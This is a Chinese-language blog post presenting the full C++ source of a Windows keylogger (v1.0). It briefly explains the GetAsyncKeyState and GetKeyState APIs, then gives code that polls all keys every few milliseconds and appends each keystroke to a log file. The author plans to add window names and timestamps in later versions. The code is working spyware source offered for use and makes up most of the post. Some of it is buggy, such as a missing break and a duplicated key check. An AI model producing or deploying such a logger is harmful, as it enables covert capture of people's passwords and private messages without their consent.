C++实现键盘记录器v1.0

首先,我是也是借鉴别人的源码来学习的。因为如果还是按照从头开始看VC++来做的话肯定是来不及的,那我就直接去分析看懂别的人的代码,从中学习并且自己再重新实现一遍,再做些改进。


先来介绍一下所用到的API:

1、fstream这是一个C++处理文件的一个类,里面有很多关于文件处理的函数。定义这个对象就能够使用其中很多的成员方法。

2、GetAsyncKeyState:

函数GetAsyncKeyState确定在调用它时某个按键处于弹起还是按下的,以及此按键是否在上一次调用GetAsyncKeyState之后(“又”)按下过(重复也算按下)。
如果函数成功,则返回值指定此按键自上次上次调用GetAsyncKeyState后是否按下过,以及此按键当前是弹起的还是按下的。如果最高比特位被设置(就是被设为1),此按键就是按下的,并且没有弹起,如果最低位被设置,则此按键在上次调用GetAsyncKeyState之后(“又”)被按下过。但是你不应该依赖于之前的(按键)行为
3、GetKeyState

以一个虚拟键位参数,返回这个虚拟键的状态,是按下还是弹起,抑或是像大写锁定键这样的按键的具体触发状态。

若高序位为1,则键处于DOWN状态,否则为UP状态。

若低序位为1,则键被触发。例如CAPS LOCK键,被找开时将被触发。若低序位置为0,则键被关闭,且不被触发。触发键在键盘上的指示灯,当键被触发时即亮,键不被触发时即灭。

具体检查这些状态的时候都需要用位运算的形式才计算。



接下来是具体的代码,注释我应该写的很清楚


#include<iostream>
#include<stdio.h>
#include<stdlib.h>
#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
using namespace std;
const int KeyBoardValue = 0x80000000;
string GetKeyName(int);
bool JudgeShift();


#include"Main.h"

int main()
{
	string FileName = "F:\\recover\\2014.7-2015.1\\Keyborad\\log.txt";
	string KeyName = "";
	fstream FileStream;
	FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);
	while(1)
	{
		Sleep(5);
		for(int i = 8; i <= 255; i++)
		{
			if(GetAsyncKeyState(i)&1 == 1)               //判断虚拟按键是否按下,无论是一直按着还是按一下就弹起,只判断是否按过
			{
				KeyName = GetKeyName(i);
				FileStream.write(KeyName.c_str(), KeyName.size());
				FileStream.close();                                //写完一次就保存一次
				FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);
			}
		}

	}
	return 0;
}

string GetKeyName(int NumKey)
{
	bool IS_SHIFT = JudgeShift();
	string revalue = "";
	//判断键盘中间的特殊符号
	if(NumKey >= 186 && NumKey <= 222)
		switch(NumKey)
	{
		case 186:
			if(IS_SHIFT) 
				revalue = ":";
			else 
				revalue = ";";
			break;
		case 187:
			if(IS_SHIFT) 
				revalue = "+";
			else 
				revalue = "=";
			break;
		case 188:
			if(IS_SHIFT) 
				revalue = "<";
			else 
				revalue = ",";
			break;
		case 189:
			if(IS_SHIFT) 
				revalue = "_";
			else 
				revalue = "-";
			break;
		case 190:
			if(IS_SHIFT) 
				revalue = ">";
			else 
				revalue = ".";
			break;
		case 191:
			if(IS_SHIFT) 
				revalue = "?";
			else 
				revalue = "/";
			break;
		case 192:
			if(IS_SHIFT) 
				revalue = "~";
			else 
				revalue = "`";
			break;
		case 219:
			if(IS_SHIFT) 
				revalue = "{";
			else 
				revalue = "[";
			break;
		case 220:
			if(IS_SHIFT) 
				revalue = "|";
			else 
				revalue = "\\";
			break;
		case 221:
			if(IS_SHIFT)
				revalue = "}";
			else
				revalue = "]";
			break;
		case 222:
			if(IS_SHIFT)
				revalue = '"';
			else
				revalue = ",";
		default:
			revalue = "error";
			break;
	}


	if (NumKey == VK_ESCAPE) // 退出
		revalue = "[Esc]";
	else if (NumKey == VK_F1) // F1至F12
		revalue = "[F1]";
	else if (NumKey == VK_F2)
		revalue = "[F2]";
	else if (NumKey == VK_F3)
		revalue = "[F3]";
	else if (NumKey == VK_F4)
		revalue = "[F4]";
	else if (NumKey == VK_F5)
		revalue = "[F5]";
	else if (NumKey == VK_F6)
		revalue = "[F6]";
	else if (NumKey == VK_F7)
		revalue = "[F7]";
	else if (NumKey == VK_F8)
		revalue = "[F8]";
	else if (NumKey == VK_F9)
		revalue = "[F9]";
	else if (NumKey == VK_F10)
		revalue = "[F10]";
	else if (NumKey == VK_F11)
		revalue = "[F11]";
	else if (NumKey == VK_F12)
		revalue = "[F12]";
	else if (NumKey == VK_SNAPSHOT) // 打印屏幕
		revalue = "[PrScrn]";
	else if (NumKey == VK_SCROLL) // 滚动锁定
		revalue = "[Scroll Lock]";
	else if (NumKey == VK_PAUSE) // 暂停、中断
		revalue = "[Pause]";
	else if (NumKey == VK_CAPITAL) // 大写锁定
		revalue = "[Caps Lock]";
	else if (NumKey == 8) //<- 回格键
		revalue = "[Backspace]";
	else if (NumKey == VK_RETURN) // 回车键、换行
		revalue = "[Enter]\n";
	else if (NumKey == VK_SPACE) // 空格
		revalue = " ";
	else if (NumKey == VK_TAB) // 制表键
		revalue = "[Tab]";
	else if (NumKey == VK_LCONTROL) // 左控制键
		revalue = "[Ctrl]";
	else if (NumKey == VK_RCONTROL) // 右控制键
		revalue = "[CTRL]";
	else if (NumKey == VK_LMENU) // 左换档键
		revalue = "[Alt]";
	else if (NumKey == VK_LMENU) // 右换档键
		revalue = "[ALT]";
	else if (NumKey == VK_LWIN) // 右 WINDOWS 键
		revalue = "[Win]";
	else if (NumKey == VK_RWIN) // 右 WINDOWS 键
		revalue = "[WIN]";
	else if (NumKey == VK_APPS) // 键盘上 右键
		revalue = "右键";
	else if (NumKey == VK_INSERT) // 插入
		revalue = "[Insert]";
	else if (NumKey == VK_DELETE) // 删除
		revalue = "[Delete]";
	else if (NumKey == VK_HOME) // 起始
		revalue = "[Home]";
	else if (NumKey == VK_END) // 结束
		revalue = "[End]";
	else if (NumKey == VK_PRIOR) // 上一页
		revalue = "[PgUp]";
	else if (NumKey == VK_NEXT) // 下一页
		revalue = "[PgDown]";
	// 不常用的几个键:一般键盘没有
	else if (NumKey == VK_CANCEL) // Cancel
		revalue = "[Cancel]";
	else if (NumKey == VK_CLEAR) // Clear
		revalue = "[Clear]";
	else if (NumKey == VK_SELECT) //Select
		revalue = "[Select]";
	else if (NumKey == VK_PRINT) //Print
		revalue = "[Print]";
	else if (NumKey == VK_EXECUTE) //Execute
		revalue = "[Execute]";

	//----------------------------------------//
	else if (NumKey == VK_LEFT) //上、下、左、右键
		revalue = "[←]";
	else if (NumKey == VK_RIGHT)
		revalue = "[→]";
	else if (NumKey == VK_UP)
		revalue = "[↑]";
	else if (NumKey == VK_DOWN)
		revalue = "[↓]";
	else if (NumKey == VK_NUMLOCK)//小键盘数码锁定
		revalue = "[NumLock]";
	else if (NumKey == VK_ADD) // 加、减、乘、除
		revalue = "+";
	else if (NumKey == VK_SUBTRACT)
		revalue = "-";
	else if (NumKey == VK_MULTIPLY)
		revalue = "*";
	else if (NumKey == VK_DIVIDE)
		revalue = "/";
	else if (NumKey == 190 || NumKey == 110) // 小键盘 . 及键盘 .
		revalue = ".";
	//小键盘数字键:0-9
	else if (NumKey == VK_NUMPAD0)
		revalue = "0";
	else if (NumKey == VK_NUMPAD1)
		revalue = "1";
	else if (NumKey == VK_NUMPAD2)
		revalue = "2";
	else if (NumKey == VK_NUMPAD3)
		revalue = "3";
	else if (NumKey == VK_NUMPAD4)
		revalue = "4";
	else if (NumKey == VK_NUMPAD5)
		revalue = "5";
	else if (NumKey == VK_NUMPAD6)
		revalue = "6";
	else if (NumKey == VK_NUMPAD7)
		revalue = "7";
	else if (NumKey == VK_NUMPAD8)
		revalue = "8";
	else if (NumKey == VK_NUMPAD9)
		revalue = "9";
	//----------------------------上述代码判断键盘上除了字母之外的功能键--------------------------------//
	else if(NumKey >=65 && NumKey <= 90)
	{
		if(GetKeyState(VK_CAPITAL))
		{
			if(IS_SHIFT)
				revalue = NumKey + 32;
			else
				revalue = NumKey;
		}
		else
		{
			if(IS_SHIFT)
				revalue = NumKey;
			else
				revalue = NumKey + 32;
		}
	}
	//---------------------------上面的部分判断键盘上的字母----------------------------------------------//
	else if(NumKey >= 48 && NumKey <= 57)
	{
		if(IS_SHIFT)
		{
			switch (NumKey)
			{
			case 48:revalue = ")";break;
			case 49:revalue = "!";break;
			case 50:revalue = "@";break;
			case 51:revalue = "#";break;
			case 52:revalue = "$";break;
			case 53:revalue = "%";break;
			case 54:revalue = "^";break;
			case 55:revalue = "&";break;
			case 56:revalue = "*";break;
			case 57:revalue = "(";break;
			}
		}
		else
		{
			switch (NumKey)
			{
			case 48:revalue = "0";break;
			case 49:revalue = "1";break;
			case 50:revalue = "2";break;
			case 51:revalue = "3";break;
			case 52:revalue = "4";break;
			case 53:revalue = "5";break;
			case 54:revalue = "6";break;
			case 55:revalue = "7";break;
			case 56:revalue = "8";break;
			case 57:revalue = "9";break;
			}
		}
	}
	return revalue;
}

bool JudgeShift()
{
	int   iShift=GetKeyState(0x10); //判断Shift键状态
	bool   IS=(iShift & KeyBoardValue)==KeyBoardValue; //表示按下Shift键
	if(IS)
		return 1;
	else
		return 0;
}


基本上实现了键盘出了HOME键那部分所有的按键记录,这只是先实现一下最基本的功能,后续的版本应该还有把输入的窗口的名字获取到,时间,内容,还有一些组合键都会涉及到。


郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。